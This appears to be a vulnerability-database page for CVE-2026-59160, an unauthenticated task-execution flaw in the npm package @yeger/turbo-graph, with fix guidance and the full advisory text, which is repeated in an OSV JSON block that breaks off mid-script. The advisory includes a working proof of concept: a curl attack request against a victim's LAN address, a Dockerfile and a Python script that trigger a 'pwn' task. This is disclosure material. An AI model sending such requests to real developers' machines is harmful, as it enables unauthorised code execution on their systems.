Vulnerabilities in pkg:npm/@yeger/turbo-graph

PACKAGE
Advisory Identifier: GHSA-2r5q-h53f-9rp3
Advisory Summary

CVE-2026-59160 is a HIGH (CVSS 8.8) unauthenticated network-exposed task execution vulnerability (CWE-306: Missing Authentication for Critical Function) affecting @yeger/turbo-graph libraries in the npm ecosystem. The issue involves unauthenticated network-exposed task execution via /api/run. Remediation is available by upgrading affected packages to version 2.8.12.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@yeger/turbo-graph

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@yeger/turbo-graph. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-2r5q-h53f-9rp3 CVE-2026-59160 HIGH @yeger/turbo-graph: Unauthenticated Network-Exposed Task Execution via /api/run

CVE-2026-59160 at a Glance

CVE Identifier CVE-2026-59160
GHSA Identifier GHSA-2r5q-h53f-9rp3
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product @yeger/turbo-graph
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-59160

To remediate this vulnerability, upgrade all affected @yeger/turbo-graph dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@yeger/turbo-graph fixed: 2.8.12
npm install @yeger/turbo-graph@2.8.12
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @yeger/turbo-graph

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-59160, inspect your project dependencies using npm:

npm ls @yeger/turbo-graph

Analyze the terminal output to locate any version of @yeger/turbo-graph in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.8.12), your application is affected.

Note: The npm ls @yeger/turbo-graph command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In @yeger/turbo-graph, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Unauthenticated Network-Exposed Turborepo Task Execution via /api/run ### Summary `@yeger/turbo-graph` starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (`0.0.0.0:29312` by default). The `/api/run` HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via `spawn()`. Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user. ### Details Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability: **Flaw 1 — Server bound to all interfaces (not loopback)** `packages/turbo-graph/src/index.ts:44` calls `.listen(options.port, callback)` without passing a hostname argument. Although `const hostname = 'localhost'` is declared at line 19, it is used only for constructing the console log URL and is never passed to `listen()`. Node.js therefore defaults to binding on `0.0.0.0` (all IPv4 interfaces) and `::` (all IPv6 interfaces), making the server reachable from the local network segment. ```ts // packages/turbo-graph/src/index.ts 19 const hostname = 'localhost' // used only for console URL, not for listen() ... 44 .listen(options.port, () => { // hostname argument missing → 0.0.0.0 bind 45 const url = `http://${hostname}:${options.port}` ``` **Flaw 2 — Unauthenticated `/api/run` task execution endpoint** `packages/turbo-graph-ui/app/api/run/route.ts:156–177` defines `GET()`, which reads `tasks`, `filter`, and `force` from the request query string and passes them directly to `buildResponseFromArgs`, which appends them to a Turbo CLI argument array and calls `spawn()`. There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler. ```ts // packages/turbo-graph-ui/app/api/run/route.ts 156 export function GET(req: NextRequest) { 157 const url = new URL(req.url) 159 const tasksParam = url.searchParams.getAll('tasks') // attacker-controlled source 171 const filter = url.searchParams.get('filter') ?? undefined 176 return buildResponseFromArgs(tasks, filter, req.signal, { force }) // buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts 20 const args: string[] = ['run', ...tasks] // tasks inserted directly 25 args.push(`--filter=${trimmed}`) 31 args.push('--force') 34 const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } }) // ^ sink: arbitrary task execution ``` Because `spawn()` is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in `turbo.json` of the victim's repository can be selected and run without restriction. ### PoC **Environment setup (victim machine):** ```bash mkdir /tmp/tg-poc && cd /tmp/tg-poc cat > package.json <<'JSON' { "private": true, "scripts": { "pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\"" }, "devDependencies": { "@yeger/turbo-graph": "2.8.8", "turbo": "^2.0.0" } } JSON cat > turbo.json <<'JSON' { "tasks": { "pwn": { "cache": false } } } JSON npm install npx turbo-graph --port 29312 ``` **Verify the server is bound to all interfaces (Flaw 1):** ```bash ss -tlnp 'sport = :29312' # Expected: LISTEN 0 511 *:29312 (0.0.0.0, not 127.0.0.1) ``` **Attack request (from any host on the same network segment):** ```bash # Replace <victim-ip> with the victim machine's LAN IP address. curl -N "http://<victim-ip>:29312/api/run?tasks=pwn&force=true" ``` **Expected outcome:** - The server returns HTTP 200 with a `text/event-stream` response. - An SSE `start` event is received with `args: ["run", "pwn", "--ui=stream", "--force"]`, confirming that the unauthenticated request was accepted. - The file `/tmp/turbo-graph-poc` is created on the victim machine with content `owned`, proving arbitrary task execution. **Containerized reproduction (automated):** The enclosed `Dockerfile` and `poc.py` provide a self-contained reproduction. Build and run: ```bash docker build -t vuln-001-poc <vuln-001-dir> docker run --rm vuln-001-poc ``` The container confirmed all three evidence points during Phase 2 dynamic testing: 1. `ss -tlnp sport=:29312` → `LISTEN 0 511 *:29312` (all-interface binding confirmed) 2. `GET /api/run?tasks=pwn&force=true` → HTTP 200, SSE `start` event with `args: ["run","pwn","--ui=stream","--force"]` (no token required) 3. `/tmp/poc-proof.txt` created with content `PWNED:<timestamp>` (arbitrary task execution confirmed) ### Impact This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running `turbo-graph` can execute arbitrary Turborepo tasks defined in that developer's repository. Depending on the tasks configured in the victim's `turbo.json`, the impact includes: - **Confidentiality (High):** Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data. - **Integrity (High):** Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim's project or infrastructure. - **Availability (High):** Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work. The attack requires no credentials, no prior access, and no interaction from the victim beyond having `turbo-graph` running. The default port (`29312`) is static and predictable, making targeted network scanning straightforward. All users who run `npx turbo-graph` or install `@yeger/turbo-graph@2.8.8` in a shared or corporate network environment are affected. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/turbo-graph@2.8.8) # # Layout: # /victim/ - simulated developer workspace that runs turbo-graph # /victim/pwn.js - the task payload executed when the attacker fires /api/run # /poc.py - attacker script: sends unauthenticated GET /api/run?tasks=pwn # # Build: # docker build -t vuln-001-poc <vuln-001-dir> # # Run: # docker run --rm vuln-001-poc FROM node:20-slim # System tools: # python3 - runs poc.py # iproute2 - ss(8) for socket-binding introspection (evidence collection) RUN apt-get update && \ apt-get install -y --no-install-recommends python3 iproute2 && \ rm -rf /var/lib/apt/lists/* # --------------------------------------------------------------------------- # Victim workspace: a minimal Turborepo project that a developer might run # --------------------------------------------------------------------------- WORKDIR /victim # package.json: defines the 'pwn' task script and package dependencies. # @yeger/turbo-graph@2.8.8 is the vulnerable package (from DerYeger/yeger). # turbo satisfies the peerDependency and provides node_modules/.bin/turbo. RUN echo '{"private":true,"name":"victim-project","packageManager":"npm@10.8.2","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' \ > /victim/package.json # turbo.json: declares the 'pwn' task with caching disabled so it always runs. RUN echo '{"tasks":{"pwn":{"cache":false}}}' \ > /victim/turbo.json # pwn.js: task payload — writes a timestamped proof file and logs to stdout. # When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script. RUN echo 'const fs = require("fs"); const ts = Date.now().toString(); fs.writeFileSync("/tmp/poc-proof.txt", "PWNED:" + ts); console.log("TASK_EXECUTED:" + ts);' \ > /victim/pwn.js # Install packages from the declarations in package.json. # --legacy-peer-deps avoids strict peer-dep resolution failures. # The published @yeger/turbo-graph-ui@2.8.8 tarball ships a pre-built # .next/ directory, so no separate 'next build' step is required. RUN npm install --legacy-peer-deps --no-fund --no-audit 2>&1 | tail -5 # --------------------------------------------------------------------------- # Attacker PoC script # --------------------------------------------------------------------------- COPY poc.py /poc.py # Default: execute the PoC (start server, fire unauthenticated request, verify) CMD ["python3", "/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution Package: @yeger/turbo-graph@2.8.8 CWE: CWE-306 (Missing Authentication for Critical Function) CVSS: 8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Two independent flaws combine into the vulnerability: 1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces). 2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler has zero authentication; attacker-supplied ?tasks= values are passed directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }). Attack scenario reproduced here: - Victim runs `turbo-graph` from a project with a side-effecting task. - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn. - The server executes `turbo run pwn` in the victim's project directory. - The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution. """ import os import socket import subprocess import sys import time import urllib.error import urllib.request # --------------------------------------------------------------------------- # Configuration # --------------------------------------------------------------------------- PROOF_FILE = "/tmp/poc-proof.txt" PORT = 29312 VICTIM_DIR = "/victim" TURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, "node_modules", ".bin", "turbo-graph") SERVER_STARTUP_TIMEOUT = 120 # seconds; Next.js production startup can be slow REQUEST_TIMEOUT = 90 # seconds to wait for the SSE stream to finish # --------------------------------------------------------------------------- # Helpers # --------------------------------------------------------------------------- def wait_for_port(host: str, port: int, timeout: int) -> bool: """Poll until the TCP port accepts connections or timeout expires.""" deadline = time.time() + timeout while time.time() < deadline: try: with socket.create_connection((host, port), timeout=2): return True except (ConnectionRefusedError, OSError): time.sleep(1) return False def get_socket_binding(port: int) -> str: """Return the raw 'ss' output for the listening socket on *port*.""" try: result = subprocess.run( ["ss", "-tlnp", f"sport = :{port}"], capture_output=True, text=True, timeout=5, ) return result.stdout.strip() except Exception as exc: return f"(ss unavailable: {exc})" def binding_is_all_interfaces(ss_output: str) -> bool: """Return True when the socket is listening on all interfaces.""" return any( marker in ss_output for marker in ("0.0.0.0", "*:", "[::]", ":::") ) def read_sse_stream(url: str, timeout: int) -> list: """ Open *url* as a Server-Sent Events stream and return parsed events. Each event is a dict with keys 'type' and optionally 'data'. Stops when an 'end' event is received or *timeout* seconds elapse. """ events = [] try: req = urllib.request.Request( url, headers={ "Accept": "text/event-stream", "Cache-Control": "no-cache", "Connection": "keep-alive", }, ) with urllib.request.urlopen(req, timeout=timeout) as resp: print(f" [HTTP] {resp.status} {resp.reason}") print(f" [HTTP] Content-Type: {resp.getheader('Content-Type', '')}") buf = "" deadline = time.time() + timeout while time.time() < deadline: chunk = resp.read(4096) if not chunk: break buf += chunk.decode("utf-8", errors="replace") # Parse complete SSE blocks (separated by blank lines) while "\n\n" in buf: block, buf = buf.split("\n\n", 1) ev: dict = {} for line in block.strip().split("\n"): if line.startswith("event: "): ev["type"] = line[7:] elif line.startswith("data: "): ev["data"] = line[6:] # ignore SSE comments (':') and 'retry:' lines if ev.get("type"): events.append(ev) preview = ev.get("data", "")[:120] print(f" [SSE] event={ev['type']} data={preview}") if ev["type"] == "end": return events except urllib.error.HTTPError as exc: print(f" [!] HTTP error: {exc.code} {exc.reason}") except Exception as exc: print(f" [!] Stream error: {type(exc).__name__}: {exc}") return events # --------------------------------------------------------------------------- # Main PoC # --------------------------------------------------------------------------- def main() -> int: sep = "=" * 64 print(sep) print("VULN-001 PoC — Unauthenticated Turborepo Task Execution") print("Package : @yeger/turbo-graph@2.8.8") print("CWE-306 : Missing Authentication for Critical Function") print(sep) print() # Remove stale proof file from a previous run if os.path.exists(PROOF_FILE): os.remove(PROOF_FILE) # ------------------------------------------------------------------ # Step 1: Start turbo-graph server from the victim project directory # The CLI does NOT pass a hostname to .listen(), so Node.js binds to # 0.0.0.0 (all interfaces) — see index.ts:44. # ------------------------------------------------------------------ print(f"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...") server = subprocess.Popen( [TURBO_GRAPH_BIN, "--port", str(PORT)], cwd=VICTIM_DIR, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, ) # ------------------------------------------------------------------ # Step 2: Wait for the port to become available # ------------------------------------------------------------------ print(f"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...") ready = wait_for_port("127.0.0.1", PORT, timeout=SERVER_STARTUP_TIMEOUT) if not ready: server.kill() stdout, _ = server.communicate() print(f"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.") print(f" stdout/stderr:\n{stdout[:2000]}") return 1 print(f"[+] Server is accepting connections on port {PORT}.") # ------------------------------------------------------------------ # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces) # Flaw 1: .listen(port) without hostname → network-exposed. # ------------------------------------------------------------------ ss_output = get_socket_binding(PORT) print(f"\n[3] Socket binding (ss -tlnp sport=:{PORT}):") print(f" {ss_output}") if binding_is_all_interfaces(ss_output): print(f"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.") else: print(f"[?] Could not confirm all-interface binding; proceeding with request test.") # ------------------------------------------------------------------ # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request # Flaw 2: no authentication, authorisation, CSRF check, or task # allowlist — see route.ts:156-177. # ------------------------------------------------------------------ url = f"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true" print(f"\n[4] Sending unauthenticated HTTP request (no token, no credentials):") print(f" GET {url}") sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT) # Allow a moment for any buffered I/O in the child process to flush time.sleep(3) # ------------------------------------------------------------------ # Step 5: Evaluate exploitation results # ------------------------------------------------------------------ exploited = os.path.exists(PROOF_FILE) proof_content = open(PROOF_FILE).read().strip() if exploited else "" start_event = next((e for e in sse_events if e.get("type") == "start"), None) end_event = next((e for e in sse_events if e.get("type") == "end"), None) log_events = [e for e in sse_events if e.get("type") in ("log", "stderr")] print() print(sep) print("EVIDENCE SUMMARY") print(sep) # Evidence A: socket binding if binding_is_all_interfaces(ss_output): print(f"[A] FLAW-1 — Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}") else: print(f"[A] FLAW-1 — ss output: {ss_output[:80]}") # Evidence B: unauthenticated SSE response if start_event: print(f"[B] FLAW-2 — Unauthenticated /api/run accepted; SSE start args:") print(f" {start_event.get('data', '')}") else: received = [e.get("type") for e in sse_events] print(f"[B] FLAW-2 — SSE events received: {received}") # Evidence C: turbo task exit code if end_event: print(f"[C] TURBO — turbo run exit code: {end_event.get('data', '')}") # Evidence D: proof file (arbitrary code execution) if exploited: print(f"[D] EXPLOIT — Proof file created: {PROOF_FILE}") print(f" Content: {proof_content}") else: print(f"[D] EXPLOIT — Proof file NOT created: {PROOF_FILE}") if log_events: print(f" Task stdout/stderr (first 5 lines):") for ev in log_events[:5]: print(f" [{ev['type']}] {ev.get('data', '')}") print(sep) # Clean up server.kill() server.wait(timeout=10) if exploited: print("\n[RESULT] PASS — Exploitation reproduced. Proof file written by unauthenticated request.") return 0 else: print("\n[RESULT] FAIL — Proof file not created. See evidence above for diagnostics.") return 1 if __name__ == "__main__": sys.exit(main()) ```

CVE-2026-59160 Affected @yeger/turbo-graph Versions

1 component(s)
Fixed Versions:
2.8.12
Product / Package Ecosystem Affected Versions Fixed Version
@yeger/turbo-graph
npm
< 2.8.12
2.8.12

References

Frequently Asked Questions

What is CVE-2026-59160?
CVE-2026-59160 is a security vulnerability in @yeger/turbo-graph involving Unauthenticated Network-Exposed Task Execution via /api/run under CWE-306: Missing Authentication for Critical Function.
Which @yeger/turbo-graph versions are affected?
Affected versions include releases prior to 2.8.12 across affected packages: @yeger/turbo-graph.
What version fixes CVE-2026-59160?
Upgrading to 2.8.12 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @yeger/turbo-graph affected?
Yes, @yeger/turbo-graph is affected in releases prior to 2.8.12. Upgrade your dependency to 2.8.12 or later.
What is the CVSS score of CVE-2026-59160?
CVE-2026-59160 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-59160?
CVE-2026-59160 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check npm dependencies for CVE-2026-59160?
Run the dependency tree command: 'npm ls @yeger/turbo-graph'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2r5q-h53f-9rp3",
  "modified" : "2026-09-09T23:47:55Z",
  "published" : "2026-09-09T23:47:55Z",
  "aliases" : [ "CVE-2026-59160" ],
  "summary" : "@yeger/turbo-graph: Unauthenticated Network-Exposed Task Execution via /api/run",
  "details" : "## Unauthenticated Network-Exposed Turborepo Task Execution via /api/run\n\n### Summary\n\n`@yeger/turbo-graph` starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (`0.0.0.0:29312` by default). The `/api/run` HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via `spawn()`. Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.\n\n### Details\n\nTwo independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:\n\n**Flaw 1 — Server bound to all interfaces (not loopback)**\n\n`packages/turbo-graph/src/index.ts:44` calls `.listen(options.port, callback)` without passing a hostname argument. Although `const hostname = 'localhost'` is declared at line 19, it is used only for constructing the console log URL and is never passed to `listen()`. Node.js therefore defaults to binding on `0.0.0.0` (all IPv4 interfaces) and `::` (all IPv6 interfaces), making the server reachable from the local network segment.\n\n```ts\n// packages/turbo-graph/src/index.ts\n19    const hostname = 'localhost'  // used only for console URL, not for listen()\n...\n44        .listen(options.port, () => {   // hostname argument missing → 0.0.0.0 bind\n45          const url = `http://${hostname}:${options.port}`\n```\n\n**Flaw 2 — Unauthenticated `/api/run` task execution endpoint**\n\n`packages/turbo-graph-ui/app/api/run/route.ts:156–177` defines `GET()`, which reads `tasks`, `filter`, and `force` from the request query string and passes them directly to `buildResponseFromArgs`, which appends them to a Turbo CLI argument array and calls `spawn()`. There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.\n\n```ts\n// packages/turbo-graph-ui/app/api/run/route.ts\n156  export function GET(req: NextRequest) {\n157    const url = new URL(req.url)\n159    const tasksParam = url.searchParams.getAll('tasks')   // attacker-controlled source\n171    const filter = url.searchParams.get('filter') ?? undefined\n176    return buildResponseFromArgs(tasks, filter, req.signal, { force })\n\n// buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts\n20    const args: string[] = ['run', ...tasks]              // tasks inserted directly\n25          args.push(`--filter=${trimmed}`)\n31      args.push('--force')\n34    const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })\n                                                            // ^ sink: arbitrary task execution\n```\n\nBecause `spawn()` is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in `turbo.json` of the victim's repository can be selected and run without restriction.\n\n### PoC\n\n**Environment setup (victim machine):**\n\n```bash\nmkdir /tmp/tg-poc && cd /tmp/tg-poc\n\ncat > package.json <<'JSON'\n{\n  \"private\": true,\n  \"scripts\": {\n    \"pwn\": \"node -e \\\"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\\\n')\\\"\"\n  },\n  \"devDependencies\": {\n    \"@yeger/turbo-graph\": \"2.8.8\",\n    \"turbo\": \"^2.0.0\"\n  }\n}\nJSON\n\ncat > turbo.json <<'JSON'\n{\n  \"tasks\": {\n    \"pwn\": { \"cache\": false }\n  }\n}\nJSON\n\nnpm install\nnpx turbo-graph --port 29312\n```\n\n**Verify the server is bound to all interfaces (Flaw 1):**\n\n```bash\nss -tlnp 'sport = :29312'\n# Expected: LISTEN 0 511 *:29312  (0.0.0.0, not 127.0.0.1)\n```\n\n**Attack request (from any host on the same network segment):**\n\n```bash\n# Replace <victim-ip> with the victim machine's LAN IP address.\ncurl -N \"http://<victim-ip>:29312/api/run?tasks=pwn&force=true\"\n```\n\n**Expected outcome:**\n\n- The server returns HTTP 200 with a `text/event-stream` response.\n- An SSE `start` event is received with `args: [\"run\", \"pwn\", \"--ui=stream\", \"--force\"]`, confirming that the unauthenticated request was accepted.\n- The file `/tmp/turbo-graph-poc` is created on the victim machine with content `owned`, proving arbitrary task execution.\n\n**Containerized reproduction (automated):**\n\nThe enclosed `Dockerfile` and `poc.py` provide a self-contained reproduction. Build and run:\n\n```bash\ndocker build -t vuln-001-poc <vuln-001-dir>\ndocker run --rm vuln-001-poc\n```\n\nThe container confirmed all three evidence points during Phase 2 dynamic testing:\n1. `ss -tlnp sport=:29312` → `LISTEN 0 511 *:29312` (all-interface binding confirmed)\n2. `GET /api/run?tasks=pwn&force=true` → HTTP 200, SSE `start` event with `args: [\"run\",\"pwn\",\"--ui=stream\",\"--force\"]` (no token required)\n3. `/tmp/poc-proof.txt` created with content `PWNED:<timestamp>` (arbitrary task execution confirmed)\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running `turbo-graph` can execute arbitrary Turborepo tasks defined in that developer's repository.\n\nDepending on the tasks configured in the victim's `turbo.json`, the impact includes:\n\n- **Confidentiality (High):** Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data.\n- **Integrity (High):** Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim's project or infrastructure.\n- **Availability (High):** Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work.\n\nThe attack requires no credentials, no prior access, and no interaction from the victim beyond having `turbo-graph` running. The default port (`29312`) is static and predictable, making targeted network scanning straightforward. All users who run `npx turbo-graph` or install `@yeger/turbo-graph@2.8.8` in a shared or corporate network environment are affected.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/turbo-graph@2.8.8)\n#\n# Layout:\n#   /victim/          - simulated developer workspace that runs turbo-graph\n#   /victim/pwn.js    - the task payload executed when the attacker fires /api/run\n#   /poc.py           - attacker script: sends unauthenticated GET /api/run?tasks=pwn\n#\n# Build:\n#   docker build -t vuln-001-poc <vuln-001-dir>\n#\n# Run:\n#   docker run --rm vuln-001-poc\n\nFROM node:20-slim\n\n# System tools:\n#   python3    - runs poc.py\n#   iproute2   - ss(8) for socket-binding introspection (evidence collection)\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends python3 iproute2 && \\\n    rm -rf /var/lib/apt/lists/*\n\n# ---------------------------------------------------------------------------\n# Victim workspace: a minimal Turborepo project that a developer might run\n# ---------------------------------------------------------------------------\nWORKDIR /victim\n\n# package.json: defines the 'pwn' task script and package dependencies.\n# @yeger/turbo-graph@2.8.8 is the vulnerable package (from DerYeger/yeger).\n# turbo satisfies the peerDependency and provides node_modules/.bin/turbo.\nRUN echo '{\"private\":true,\"name\":\"victim-project\",\"packageManager\":\"npm@10.8.2\",\"scripts\":{\"pwn\":\"node /victim/pwn.js\"},\"devDependencies\":{\"@yeger/turbo-graph\":\"2.8.8\",\"turbo\":\"^2.0.0\",\"react\":\"^18.0.0\",\"react-dom\":\"^18.0.0\"}}' \\\n    > /victim/package.json\n\n# turbo.json: declares the 'pwn' task with caching disabled so it always runs.\nRUN echo '{\"tasks\":{\"pwn\":{\"cache\":false}}}' \\\n    > /victim/turbo.json\n\n# pwn.js: task payload — writes a timestamped proof file and logs to stdout.\n# When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script.\nRUN echo 'const fs = require(\"fs\"); const ts = Date.now().toString(); fs.writeFileSync(\"/tmp/poc-proof.txt\", \"PWNED:\" + ts); console.log(\"TASK_EXECUTED:\" + ts);' \\\n    > /victim/pwn.js\n\n# Install packages from the declarations in package.json.\n# --legacy-peer-deps avoids strict peer-dep resolution failures.\n# The published @yeger/turbo-graph-ui@2.8.8 tarball ships a pre-built\n# .next/ directory, so no separate 'next build' step is required.\nRUN npm install --legacy-peer-deps --no-fund --no-audit 2>&1 | tail -5\n\n# ---------------------------------------------------------------------------\n# Attacker PoC script\n# ---------------------------------------------------------------------------\nCOPY poc.py /poc.py\n\n# Default: execute the PoC (start server, fire unauthenticated request, verify)\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution\nPackage:  @yeger/turbo-graph@2.8.8\nCWE:      CWE-306 (Missing Authentication for Critical Function)\nCVSS:     8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\nTwo independent flaws combine into the vulnerability:\n  1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a\n     hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces).\n  2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler\n     has zero authentication; attacker-supplied ?tasks= values are passed\n     directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }).\n\nAttack scenario reproduced here:\n  - Victim runs `turbo-graph` from a project with a side-effecting task.\n  - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn.\n  - The server executes `turbo run pwn` in the victim's project directory.\n  - The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution.\n\"\"\"\n\nimport os\nimport socket\nimport subprocess\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nPROOF_FILE = \"/tmp/poc-proof.txt\"\nPORT = 29312\nVICTIM_DIR = \"/victim\"\nTURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, \"node_modules\", \".bin\", \"turbo-graph\")\nSERVER_STARTUP_TIMEOUT = 120   # seconds; Next.js production startup can be slow\nREQUEST_TIMEOUT = 90            # seconds to wait for the SSE stream to finish\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\n\ndef wait_for_port(host: str, port: int, timeout: int) -> bool:\n    \"\"\"Poll until the TCP port accepts connections or timeout expires.\"\"\"\n    deadline = time.time() + timeout\n    while time.time() < deadline:\n        try:\n            with socket.create_connection((host, port), timeout=2):\n                return True\n        except (ConnectionRefusedError, OSError):\n            time.sleep(1)\n    return False\n\n\ndef get_socket_binding(port: int) -> str:\n    \"\"\"Return the raw 'ss' output for the listening socket on *port*.\"\"\"\n    try:\n        result = subprocess.run(\n            [\"ss\", \"-tlnp\", f\"sport = :{port}\"],\n            capture_output=True,\n            text=True,\n            timeout=5,\n        )\n        return result.stdout.strip()\n    except Exception as exc:\n        return f\"(ss unavailable: {exc})\"\n\n\ndef binding_is_all_interfaces(ss_output: str) -> bool:\n    \"\"\"Return True when the socket is listening on all interfaces.\"\"\"\n    return any(\n        marker in ss_output\n        for marker in (\"0.0.0.0\", \"*:\", \"[::]\", \":::\")\n    )\n\n\ndef read_sse_stream(url: str, timeout: int) -> list:\n    \"\"\"\n    Open *url* as a Server-Sent Events stream and return parsed events.\n    Each event is a dict with keys 'type' and optionally 'data'.\n    Stops when an 'end' event is received or *timeout* seconds elapse.\n    \"\"\"\n    events = []\n    try:\n        req = urllib.request.Request(\n            url,\n            headers={\n                \"Accept\": \"text/event-stream\",\n                \"Cache-Control\": \"no-cache\",\n                \"Connection\": \"keep-alive\",\n            },\n        )\n        with urllib.request.urlopen(req, timeout=timeout) as resp:\n            print(f\"  [HTTP] {resp.status} {resp.reason}\")\n            print(f\"  [HTTP] Content-Type: {resp.getheader('Content-Type', '')}\")\n            buf = \"\"\n            deadline = time.time() + timeout\n            while time.time() < deadline:\n                chunk = resp.read(4096)\n                if not chunk:\n                    break\n                buf += chunk.decode(\"utf-8\", errors=\"replace\")\n                # Parse complete SSE blocks (separated by blank lines)\n                while \"\\n\\n\" in buf:\n                    block, buf = 